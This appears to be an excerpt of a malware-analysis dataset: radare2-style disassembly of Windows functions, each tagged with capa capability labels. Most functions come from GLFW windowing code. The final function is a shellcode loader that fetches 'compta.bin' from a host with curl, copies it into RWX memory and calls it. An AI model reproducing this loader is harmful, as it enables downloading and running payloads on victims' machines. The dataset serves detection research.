joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180064f88
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
mov rbp, rsp
sub rsp, 0x80
mov rdi, rcx
lea rcx, [rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov r14, qword [rbp - 0x58]
cmp rdi, 0x40000000
jbe 0x180064fd2
lea rax, [rdi - 0x40000000]
cmp r14, rax
cmovb r14, rax
mov rbx, qword [0x1800ae340]
lea r12, [rdi + 0x40000000]
cmp qword [rbp - 0x50], r12
cmovbe r12, qword [rbp - 0x50]
sub r12, 0xfff
xor esi, esi
jmp 0x18006500b
cmp rbx, r14
jb 0x180065008
cmp rbx, r12
jae 0x180065008
cmp qword [rbx + 8], rsi
jne 0x18006516d
mov rbx, qword [rbx]
test rbx, rbx
jne 0x180064ff4
mov r15, rdi
cmp rdi, r14
jb 0x180065127
mov r13d, dword [rbp - 0x38]
xor edx, edx
mov rax, r15
div r13
sub r15, rdx
jmp 0x180065057
mov r8d, 0x30
lea rdx, [rbp - 0x30]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x180065091
cmp dword [rbp - 0x10], 0x10000
je 0x180065061
mov r15, qword [rbp - 0x28]
cmp r15, r13
jb 0x180065091
sub r15, r13
cmp r15, r14
jae 0x18006502d
jmp 0x180065091
test r15, r15
je 0x180065091
mov edx, 0x1000
mov r9d, 0x40
mov r8d, 0x3000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
jne 0x180065132
cmp r15, r14
jae 0x18006501c
test rbx, rbx
jmp 0x180065125
mov r15d, dword [rbp - 0x38]
xor edx, edx
mov rax, rdi
mov r14d, r15d
div r15
mov eax, r15d
sub rax, rdx
add rax, rdi
mov rdi, rax
cmp rax, r12
ja 0x18006516d
mov r8d, 0x30
lea rdx, [rbp - 0x30]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x18006516d
cmp dword [rbp - 0x10], 0x10000
je 0x180065100
xor edx, edx
lea edi, [r15 - 1]
add rdi, qword [rbp - 0x18]
add rdi, qword [rbp - 0x30]
mov rax, rdi
div r14
sub rdi, rdx
cmp rdi, r12
jbe 0x1800650bd
jmp 0x18006516d
test rdi, rdi
je 0x18006516d
mov edx, 0x1000
mov r9d, 0x40
mov r8d, 0x3000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
jne 0x180065132
cmp rdi, r12
jbe 0x180065099
jmp 0x18006516d
lea rcx, [rbx + 0x40]
mov dword [rbx + 0x10], esi
mov edx, 0x40
mov qword [rcx], rsi
mov rax, rcx
mov qword [rbx + 8], rcx
add rdx, 0x40
add rcx, 0x40
mov rsi, rax
cmp rdx, 0xfc0
jbe 0x18006513e
mov rax, qword [0x1800ae340]
mov qword [rbx], rax
mov qword [0x1800ae340], rbx
lea r11, [rsp + 0x80]
mov rax, rbx
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
Function at 0x180069240
Capabilities:
Log keystrokes via polling

Disassembly:
cmp dword [0x1800aae30], 0
jne 0x180069255
xor edx, edx
mov ecx, 0x10001
jmp fcn.180069dd0
jmp 0x18006abe0
push rbx
sub rsp, 0x80
mov rax, qword [0x1800a9040]
xor rax, rsp
mov qword [rsp + 0x70], rax
xor r9d, r9d
mov dword [rsp + 0x20], 1
xor r8d, r8d
lea rcx, [rsp + 0x30]
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
je 0x18006ac77
cmp dword [rsp + 0x38], 0x12
jne 0x18006ac42
mov rbx, qword [0x1800ab220]
test rbx, rbx
je 0x18006ac58
nop word [rax + rax]
mov rcx, rbx
call fcn.1800688f0
mov rbx, qword [rbx]
test rbx, rbx
jne 0x18006ac30
jmp 0x18006ac58
lea rcx, [rsp + 0x30]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rsp + 0x30]
call qword [sym.imp.USER32.dll_DispatchMessageW]
xor r9d, r9d
mov dword [rsp + 0x20], 1
xor r8d, r8d
lea rcx, [rsp + 0x30]
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
jne 0x18006ac17
call qword [sym.imp.USER32.dll_GetActiveWindow]
test rax, rax
je 0x18006ada2
lea rdx, str.GLFW
mov rcx, rax
call qword [sym.imp.USER32.dll_GetPropW]
mov rbx, rax
test rax, rax
je 0x18006ada2
mov qword [rsp + 0x90], rdi
mov ecx, 0xa0
movsx edi, word [0x1800acbb0]
call qword [sym.imp.USER32.dll_GetKeyState]
test ax, ax
js 0x18006ace6
cmp byte [rbx + 0x1dc], 1
jne 0x18006ace6
call fcn.18006c410
xor r9d, r9d
mov dword [rsp + 0x20], eax
mov r8d, edi
mov edx, 0x154
mov rcx, rbx
call fcn.180066d10
movsx edi, word [0x1800acbb8]
mov ecx, 0xa1
call qword [sym.imp.USER32.dll_GetKeyState]
test ax, ax
js 0x18006ad22
cmp byte [rbx + 0x1e0], 1
jne 0x18006ad22
call fcn.18006c410
xor r9d, r9d
mov dword [rsp + 0x20], eax
mov r8d, edi
mov edx, 0x158
mov rcx, rbx
call fcn.180066d10
movsx edi, word [0x1800acbb6]
mov ecx, 0x5b
call qword [sym.imp.USER32.dll_GetKeyState]
test ax, ax
js 0x18006ad5e
cmp byte [rbx + 0x1df], 1
jne 0x18006ad5e
call fcn.18006c410
xor r9d, r9d
mov dword [rsp + 0x20], eax
mov r8d, edi
mov edx, 0x157
mov rcx, rbx
call fcn.180066d10
movsx edi, word [0x1800acbbe]
mov ecx, 0x5c
call qword [sym.imp.USER32.dll_GetKeyState]
test ax, ax
js 0x18006ad9a
cmp byte [rbx + 0x1e3], 1
jne 0x18006ad9a
call fcn.18006c410
xor r9d, r9d
mov dword [rsp + 0x20], eax
mov r8d, edi
mov edx, 0x15b
mov rcx, rbx
call fcn.180066d10
mov rdi, qword [rsp + 0x90]
mov rbx, qword [0x1800ad2a8]
test rbx, rbx
je 0x18006ae27
mov rcx, qword [rbx + 0x350]
lea rdx, [rsp + 0x60]
call qword [sym.imp.USER32.dll_GetClientRect]
mov eax, dword [rsp + 0x68]
mov r8d, dword [rsp + 0x6c]
cdq
sub eax, edx
sar eax, 1
mov r9d, eax
cmp dword [rbx + 0x388], eax
jne 0x18006ade9
mov eax, r8d
cdq
sub eax, edx
sar eax, 1
cmp dword [rbx + 0x38c], eax
je 0x18006ae27
mov rcx, qword [rbx + 0x350]
mov eax, r8d
cdq
mov dword [rsp + 0x60], r9d
sub eax, edx
mov dword [rbx + 0x388], r9d
sar eax, 1
lea rdx, [rsp + 0x60]
mov dword [rsp + 0x64], eax
mov dword [rbx + 0x38c], eax
call qword [sym.imp.USER32.dll_ClientToScreen]
mov edx, dword [rsp + 0x64]
mov ecx, dword [rsp + 0x60]
call qword [sym.imp.USER32.dll_SetCursorPos]
mov rcx, qword [rsp + 0x70]
xor rcx, rsp
call fcn.180065950
add rsp, 0x80
pop rbx
ret
Function at 0x18006a4e0
Capabilities:
Hide graphical window

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rdi, r8
mov rbp, r9
mov r8, r9
mov rsi, rdx
mov rbx, rcx
call fcn.18006bbd0
test eax, eax
je 0x18006a633
cmp dword [rdi], 0
je 0x18006a5a1
mov eax, dword [rdi + 4]
cmp eax, 0x36001
jne 0x18006a540
call fcn.180071d50
test eax, eax
je 0x18006a633
mov r8, rbp
mov rdx, rdi
mov rcx, rbx
call fcn.1800718d0
jmp 0x18006a586
cmp eax, 0x36002
jne 0x18006a564
call fcn.1800730b0
test eax, eax
je 0x18006a633
mov r8, rbp
mov rdx, rdi
mov rcx, rbx
call fcn.180072be0
jmp 0x18006a586
cmp eax, 0x36003
jne 0x18006a58e
call fcn.180073f30
test eax, eax
je 0x18006a633
mov r8, rbp
mov rdx, rdi
mov rcx, rbx
call fcn.180073d00
test eax, eax
je 0x18006a633
mov rdx, rdi
mov rcx, rbx
call fcn.18006db70
test eax, eax
je 0x18006a633
cmp qword [rbx + 0x48], 0
je 0x18006a606
mov rcx, qword [rbx + 0x350]
mov edx, 8
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [rbx + 0x350]
call qword [sym.imp.USER32.dll_BringWindowToTop]
mov rcx, qword [rbx + 0x350]
call qword [sym.imp.USER32.dll_SetForegroundWindow]
mov rcx, qword [rbx + 0x350]
call qword [sym.imp.USER32.dll_SetFocus]
mov rcx, rbx
call fcn.18006b910
mov rcx, rbx
call fcn.18006c370
cmp dword [rsi + 0x2c], 0
je 0x18006a62c
mov rcx, rbx
call fcn.180066a00
mov eax, 1
jmp 0x18006a635
cmp dword [rsi + 0x14], 0
je 0x18006a62c
mov rcx, qword [rbx + 0x350]
mov edx, 8
call qword [sym.imp.USER32.dll_ShowWindow]
cmp dword [rsi + 0x1c], 0
je 0x18006a62c
mov rcx, rbx
call fcn.18006a730
mov eax, 1
jmp 0x18006a635
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x18006abe0
Capabilities:
Log keystrokes via polling

Disassembly:
cmp dword [0x1800aae30], 0
jne 0x180069255
xor edx, edx
mov ecx, 0x10001
jmp fcn.180069dd0
jmp 0x18006abe0
push rbx
sub rsp, 0x80
mov rax, qword [0x1800a9040]
xor rax, rsp
mov qword [rsp + 0x70], rax
xor r9d, r9d
mov dword [rsp + 0x20], 1
xor r8d, r8d
lea rcx, [rsp + 0x30]
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
je 0x18006ac77
cmp dword [rsp + 0x38], 0x12
jne 0x18006ac42
mov rbx, qword [0x1800ab220]
test rbx, rbx
je 0x18006ac58
nop word [rax + rax]
mov rcx, rbx
call fcn.1800688f0
mov rbx, qword [rbx]
test rbx, rbx
jne 0x18006ac30
jmp 0x18006ac58
lea rcx, [rsp + 0x30]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rsp + 0x30]
call qword [sym.imp.USER32.dll_DispatchMessageW]
xor r9d, r9d
mov dword [rsp + 0x20], 1
xor r8d, r8d
lea rcx, [rsp + 0x30]
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
jne 0x18006ac17
call qword [sym.imp.USER32.dll_GetActiveWindow]
test rax, rax
je 0x18006ada2
lea rdx, str.GLFW
mov rcx, rax
call qword [sym.imp.USER32.dll_GetPropW]
mov rbx, rax
test rax, rax
je 0x18006ada2
mov qword [rsp + 0x90], rdi
mov ecx, 0xa0
movsx edi, word [0x1800acbb0]
call qword [sym.imp.USER32.dll_GetKeyState]
test ax, ax
js 0x18006ace6
cmp byte [rbx + 0x1dc], 1
jne 0x18006ace6
call fcn.18006c410
xor r9d, r9d
mov dword [rsp + 0x20], eax
mov r8d, edi
mov edx, 0x154
mov rcx, rbx
call fcn.180066d10
movsx edi, word [0x1800acbb8]
mov ecx, 0xa1
call qword [sym.imp.USER32.dll_GetKeyState]
test ax, ax
js 0x18006ad22
cmp byte [rbx + 0x1e0], 1
jne 0x18006ad22
call fcn.18006c410
xor r9d, r9d
mov dword [rsp + 0x20], eax
mov r8d, edi
mov edx, 0x158
mov rcx, rbx
call fcn.180066d10
movsx edi, word [0x1800acbb6]
mov ecx, 0x5b
call qword [sym.imp.USER32.dll_GetKeyState]
test ax, ax
js 0x18006ad5e
cmp byte [rbx + 0x1df], 1
jne 0x18006ad5e
call fcn.18006c410
xor r9d, r9d
mov dword [rsp + 0x20], eax
mov r8d, edi
mov edx, 0x157
mov rcx, rbx
call fcn.180066d10
movsx edi, word [0x1800acbbe]
mov ecx, 0x5c
call qword [sym.imp.USER32.dll_GetKeyState]
test ax, ax
js 0x18006ad9a
cmp byte [rbx + 0x1e3], 1
jne 0x18006ad9a
call fcn.18006c410
xor r9d, r9d
mov dword [rsp + 0x20], eax
mov r8d, edi
mov edx, 0x15b
mov rcx, rbx
call fcn.180066d10
mov rdi, qword [rsp + 0x90]
mov rbx, qword [0x1800ad2a8]
test rbx, rbx
je 0x18006ae27
mov rcx, qword [rbx + 0x350]
lea rdx, [rsp + 0x60]
call qword [sym.imp.USER32.dll_GetClientRect]
mov eax, dword [rsp + 0x68]
mov r8d, dword [rsp + 0x6c]
cdq
sub eax, edx
sar eax, 1
mov r9d, eax
cmp dword [rbx + 0x388], eax
jne 0x18006ade9
mov eax, r8d
cdq
sub eax, edx
sar eax, 1
cmp dword [rbx + 0x38c], eax
je 0x18006ae27
mov rcx, qword [rbx + 0x350]
mov eax, r8d
cdq
mov dword [rsp + 0x60], r9d
sub eax, edx
mov dword [rbx + 0x388], r9d
sar eax, 1
lea rdx, [rsp + 0x60]
mov dword [rsp + 0x64], eax
mov dword [rbx + 0x38c], eax
call qword [sym.imp.USER32.dll_ClientToScreen]
mov edx, dword [rsp + 0x64]
mov ecx, dword [rsp + 0x60]
call qword [sym.imp.USER32.dll_SetCursorPos]
mov rcx, qword [rsp + 0x70]
xor rcx, rsp
call fcn.180065950
add rsp, 0x80
pop rbx
ret
Function at 0x18006c0c0
Capabilities:
Register raw input devices

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x30
mov rbx, rcx
mov qword [0x1800ad2a8], rcx
lea rdi, [rcx + 0x350]
lea rcx, [rsp + 0x40]
call qword [sym.imp.USER32.dll_GetCursorPos]
test eax, eax
je 0x18006c11c
mov rcx, qword [rdi]
lea rdx, [rsp + 0x40]
call qword [sym.imp.USER32.dll_ScreenToClient]
movd xmm0, dword [rsp + 0x40]
movd xmm1, dword [rsp + 0x44]
cvtdq2pd xmm0, xmm0
cvtdq2pd xmm1, xmm1
movsd qword [0x1800ad298], xmm0
movsd qword [0x1800ad2a0], xmm1
cmp dword [rbx + 0x7c], 0x34001
jne 0x18006c160
mov rcx, qword [rbx + 0x50]
test rcx, rcx
je 0x18006c141
mov rcx, qword [rcx + 8]
call qword [sym.imp.USER32.dll_SetCursor]
lea rdi, [rbx + 0x350]
jmp 0x18006c168
mov edx, 0x7f00
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadCursorW]
mov rcx, rax
call qword [sym.imp.USER32.dll_SetCursor]
lea rdi, [rbx + 0x350]
jmp 0x18006c168
xor ecx, ecx
call qword [sym.imp.USER32.dll_SetCursor]
mov rcx, rbx
call fcn.180066a00
mov rcx, rbx
call fcn.18006bb50
cmp dword [rbx + 0x1f8], 0
je 0x18006c1bb
mov rax, qword [rdi]
lea rcx, [rsp + 0x20]
mov edx, 1
mov qword [rsp + 0x20], 0x20001
mov qword [rsp + 0x28], rax
lea r8d, [rdx + 0xf]
call qword [sym.imp.USER32.dll_RegisterRawInputDevices]
test eax, eax
jne 0x18006c1bb
lea rdx, str.Win32:_Failed_to_register_raw_input_device
mov ecx, 0x10008
call fcn.180070850
mov rbx, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret

Function at 0x18006c1d0
Capabilities:
Register raw input devices

Disassembly:
sub rsp, 0x38
mov edx, 1
mov dword [rsp + 0x20], 0x20001
lea rcx, [rsp + 0x20]
mov dword [rsp + 0x24], edx
mov qword [rsp + 0x28], 0
lea r8d, [rdx + 0xf]
call qword [sym.imp.USER32.dll_RegisterRawInputDevices]
test eax, eax
jne 0x18006c212
lea rdx, str.Win32:_Failed_to_remove_raw_input_device
mov ecx, 0x10008
call fcn.180070850
add rsp, 0x38
ret
Function at 0x18006c220
Capabilities:
Register raw input devices

Disassembly:
push rbx
sub rsp, 0x30
cmp dword [rcx + 0x1f8], 0
mov rbx, rcx
je 0x18006c270
mov edx, 1
mov dword [rsp + 0x20], 0x20001
lea rcx, [rsp + 0x20]
mov dword [rsp + 0x24], edx
mov qword [rsp + 0x28], 0
lea r8d, [rdx + 0xf]
call qword [sym.imp.USER32.dll_RegisterRawInputDevices]
test eax, eax
jne 0x18006c270
lea rdx, str.Win32:_Failed_to_remove_raw_input_device
mov ecx, 0x10008
call fcn.180070850
xor ecx, ecx
mov qword [0x1800ad2a8], 0
call qword [sym.imp.USER32.dll_ClipCursor]
cvttsd2si ecx, qword [0x1800ad298]
mov qword [0x1800ad2b0], 0
lea rdx, [rsp + 0x40]
cvttsd2si eax, qword [0x1800ad2a0]
mov dword [rsp + 0x40], ecx
mov dword [rbx + 0x388], ecx
mov rcx, qword [rbx + 0x350]
mov dword [rsp + 0x44], eax
mov dword [rbx + 0x38c], eax
call qword [sym.imp.USER32.dll_ClientToScreen]
mov edx, dword [rsp + 0x44]
mov ecx, dword [rsp + 0x40]
call qword [sym.imp.USER32.dll_SetCursorPos]
cmp dword [rbx + 0x7c], 0x34001
jne 0x18006c310
mov rcx, qword [rbx + 0x50]
test rcx, rcx
je 0x18006c2f4
mov rcx, qword [rcx + 8]
add rsp, 0x30
pop rbx
jmp qword [sym.imp.USER32.dll_SetCursor]
mov edx, 0x7f00
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadCursorW]
mov rcx, rax
add rsp, 0x30
pop rbx
jmp qword [sym.imp.USER32.dll_SetCursor]
xor ecx, ecx
add rsp, 0x30
pop rbx
jmp qword [sym.imp.USER32.dll_SetCursor]

Function at 0x18006c320
Capabilities:
Register raw input devices

Disassembly:
sub rsp, 0x38
mov rax, qword [rcx + 0x350]
mov edx, 1
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x20], 0x20001
mov qword [rsp + 0x28], rax
lea r8d, [rdx + 0xf]
call qword [sym.imp.USER32.dll_RegisterRawInputDevices]
test eax, eax
jne 0x18006c362
lea rdx, str.Win32:_Failed_to_register_raw_input_device
mov ecx, 0x10008
call fcn.180070850
add rsp, 0x38
ret

Function at 0x18006c410
Capabilities:
Log keystrokes via polling

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov ecx, reloc.WS2_32.dll_recv
call qword [sym.imp.USER32.dll_GetKeyState]
movzx ebx, ax
mov ecx, send
shr ebx, 0xf
call qword [sym.imp.USER32.dll_GetKeyState]
mov edi, ebx
mov ecx, send
or edi, 2
test ax, ax
cmovns edi, ebx
call qword [sym.imp.USER32.dll_GetKeyState]
mov esi, edi
mov ecx, 0x5c
or esi, 4
test ax, ax
cmovns esi, edi
call qword [sym.imp.USER32.dll_GetKeyState]
mov ecx, 0x5b
movzx ebx, ax
call qword [sym.imp.USER32.dll_GetKeyState]
mov edi, esi
mov ecx, socket
or edi, 8
or bx, ax
cmovns edi, esi
call qword [sym.imp.USER32.dll_GetKeyState]
mov ebx, edi
mov ecx, 0x90
or ebx, 0x10
test al, 1
cmove ebx, edi
call qword [sym.imp.USER32.dll_GetKeyState]
mov rsi, qword [rsp + 0x38]
mov ecx, ebx
or ecx, 0x20
test al, 1
cmove ecx, ebx
mov rbx, qword [rsp + 0x30]
mov eax, ecx
add rsp, 0x20
pop rdi
ret

Function at 0x18006f720
Capabilities:
Allocate thread local storage

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
mov dword [rbx + 4], eax
cmp eax, 0xffffffff
jne 0x18006f750
lea rdx, [0x180090630]
mov ecx, 0x10008
call fcn.180070850
xor eax, eax
add rsp, 0x20
pop rbx
ret
mov dword [rbx], 1
mov eax, 1
add rsp, 0x20
pop rbx
ret
Function at 0x180071080
Capabilities:
Log keystrokes

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push r12
push r14
push r15
sub rsp, 0x1b0
mov rax, qword [0x1800a9040]
xor rax, rsp
mov qword [rsp + 0x1a0], rax
xor edx, edx
lea rcx, [rsp + 0xa0]
mov r8d, pe_nt_image_headers64
call sub.VCRUNTIME140.dll_memset
xor edx, edx
lea rcx, [0x1800acbc2]
mov r8d, 0x6d1
call sub.VCRUNTIME140.dll_memset
lea r14, [rsp + 0x40]
mov qword [rsp + 0x1d0], rdi
sub r14, 0x480
lea rbp, [0x1800ac948]
xor r12d, r12d
lea r15, [0x1800acc62]
mov ebx, 0x20
movsx esi, word [rbp]
cmp esi, 0xffffffff
je 0x180071238
cmp ebx, 0x140
jb 0x18007119f
cmp ebx, 0x14e
ja 0x18007119f
mov dword [rsp + 0x40], 0x60
mov dword [rsp + 0x44], 0x61
mov dword [rsp + 0x48], 0x62
mov dword [rsp + 0x4c], 0x63
mov dword [rsp + 0x50], 0x64
mov dword [rsp + 0x54], 0x65
mov dword [rsp + 0x58], 0x66
mov dword [rsp + 0x5c], 0x67
mov dword [rsp + 0x60], 0x68
mov dword [rsp + 0x64], 0x69
mov dword [rsp + 0x68], WSACleanup
mov dword [rsp + 0x6c], WSACleanup
mov dword [rsp + 0x70], 0x6a
mov dword [rsp + 0x74], WSACleanup
mov dword [rsp + 0x78], 0x6b
mov edi, dword [r14]
jmp 0x1800711ae
mov edx, 1
mov ecx, esi
call qword [sym.imp.USER32.dll_MapVirtualKeyW]
mov edi, eax
mov dword [rsp + 0x28], r12d
lea r9, [rsp + 0x80]
lea r8, [rsp + 0xa0]
mov dword [rsp + 0x20], reloc.WS2_32.dll_recv
mov edx, esi
mov ecx, edi
call qword [sym.imp.USER32.dll_ToUnicode]
cmp eax, 0xffffffff
jne 0x180071201
mov dword [rsp + 0x28], r12d
lea r9, [rsp + 0x80]
lea r8, [rsp + 0xa0]
mov dword [rsp + 0x20], reloc.WS2_32.dll_recv
mov edx, esi
mov ecx, edi
call qword [sym.imp.USER32.dll_ToUnicode]
cmp eax, 1
jl 0x180071238
mov qword [rsp + 0x38], r12
lea r8, [rsp + 0x80]
mov qword [rsp + 0x30], r12
mov r9d, 1
mov dword [rsp + 0x28], 5
xor edx, edx
mov ecx, 0xfde9
mov qword [rsp + 0x20], r15
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
inc ebx
add r15, 5
add r14, 4
add rbp, 2
cmp ebx, 0x15c
jle 0x180071101
mov rdi, qword [rsp + 0x1d0]
mov rcx, qword [rsp + 0x1a0]
xor rcx, rsp
call fcn.180065950
lea r11, [rsp + 0x1b0]
mov rbx, qword [r11 + 0x28]
mov rbp, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r12
ret
Function at 0x180073f30
Capabilities:
Link many functions at runtime

Disassembly:
sub rsp, 0x48
mov rax, qword [0x1800a9040]
xor rax, rsp
mov qword [rsp + 0x38], rax
cmp qword [0x1800ad4e0], 0
lea rax, str.libOSMesa.dll
lea rcx, str.OSMesa.dll
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x30], 0
je 0x180073f85
mov eax, 1
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.180065950
add rsp, 0x48
ret
mov qword [rsp + 0x40], rbx
xor ebx, ebx
nop dword [rax]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [0x1800ad4e0], rax
mov rcx, rax
test rax, rax
jne 0x180073fb5
mov rax, qword [rsp + rbx*8 + 0x28]
inc rbx
test rax, rax
jne 0x180073f90
mov rbx, qword [rsp + 0x40]
test rcx, rcx
jne 0x180073fe4
lea rdx, str.OSMesa:_Library_not_found
mov ecx, 0x10006
call fcn.180069dd0
xor eax, eax
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.180065950
add rsp, 0x48
ret
lea rdx, str.OSMesaCreateContextExt
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x1800ad4e0]
lea rdx, str.OSMesaCreateContextAttribs
mov qword [0x1800ad4e8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x1800ad4e0]
lea rdx, str.OSMesaDestroyContext
mov qword [0x1800ad4f0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x1800ad4e0]
lea rdx, str.OSMesaMakeCurrent
mov qword [0x1800ad4f8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x1800ad4e0]
lea rdx, str.OSMesaGetColorBuffer
mov qword [0x1800ad500], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x1800ad4e0]
lea rdx, str.OSMesaGetDepthBuffer
mov qword [0x1800ad508], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x1800ad4e0]
lea rdx, str.OSMesaGetProcAddress
mov qword [0x1800ad510], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp qword [0x1800ad4e8], 0
mov qword [0x1800ad518], rax
je 0x1800740d5
cmp qword [0x1800ad4f8], 0
je 0x1800740d5
cmp qword [0x1800ad500], 0
je 0x1800740d5
cmp qword [0x1800ad508], 0
je 0x1800740d5
cmp qword [0x1800ad510], 0
je 0x1800740d5
test rax, rax
jne 0x180073f6e
lea rdx, str.OSMesa:_Failed_to_load_required_entry_points
mov ecx, 0x10008
call fcn.180069dd0
mov rcx, qword [0x1800ad4e0]
test rcx, rcx
je 0x180074103
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov qword [0x1800ad4e0], 0
xor eax, eax
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.180065950
add rsp, 0x48
ret
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x140004420]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x140004430]
mov dword [rax], 1
mov rax, qword [0x140004440]
mov dword [rax], 1
mov rax, qword [0x1400043d0]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x140004410]
mov dword [0x14000700c], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x1400044e0]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg.__p__commode
mov rdx, qword [0x1400044c0]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x140004380]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a

Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Read file on windows

Disassembly:
push rbp
push rdi
push rsi
sub rsp, 0x160
lea rbp, [rsp + 0x80]
call dbg.__main
lea rax, str.curl_http:__192.168.1.195:80_compta.bin
mov qword [rbp + 0xd0], rax
mov byte [rbp + 0xbf], 0
mov dword [rbp + 0xdc], 0
mov rax, qword [rbp + 0xd0]
lea rdx, [0x140004028]
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll__popen]
call rax
mov qword [rbp + 0xc8], rax
cmp qword [rbp + 0xc8], 0
jne 0x1400014d7
mov ecx, 1
call sym.exit
movzx eax, byte [rbp + 0xbf]
mov edx, eax
mov eax, dword [rbp + 0xdc]
cdqe
mov byte [rbp + rax - 0x60], dl
add dword [rbp + 0xdc], 1
mov rdx, qword [rbp + 0xc8]
lea rax, [rbp + 0xbf]
mov r9, rdx
mov r8d, 1
mov edx, 1
mov rcx, rax
call sym.fread
test rax, rax
jne 0x1400014bb
mov rax, qword [rbp + 0xc8]
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll__pclose]
call rax
mov r9d, 0x40
mov r8d, 0x1000
mov edx, 0x114
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0xc0], rax
mov rax, qword [rbp + 0xc0]
mov rdx, rax
lea rax, [rbp - 0x60]
mov ecx, 0x114
mov r8, qword [rax]
mov qword [rdx], r8
mov r8d, ecx
add r8, rdx
lea r9, [r8 + 8]
mov r8d, ecx
add r8, rax
add r8, 8
mov r8, qword [r8 - 0x10]
mov qword [r9 - 0x10], r8
lea r8, [rdx + 8]
and r8, 0xfffffffffffffff8
sub rdx, r8
sub rax, rdx
add ecx, edx
and ecx, 0xfffffff8
shr ecx, 3
mov edx, ecx
mov edx, edx
mov rdi, r8
mov rsi, rax
mov rcx, rdx
rep movsq qword [rdi], qword [rsi]
mov rax, qword [rbp + 0xc0]
call rax
mov eax, 0
add rsp, 0x160
pop rsi
pop rdi
pop rbp
ret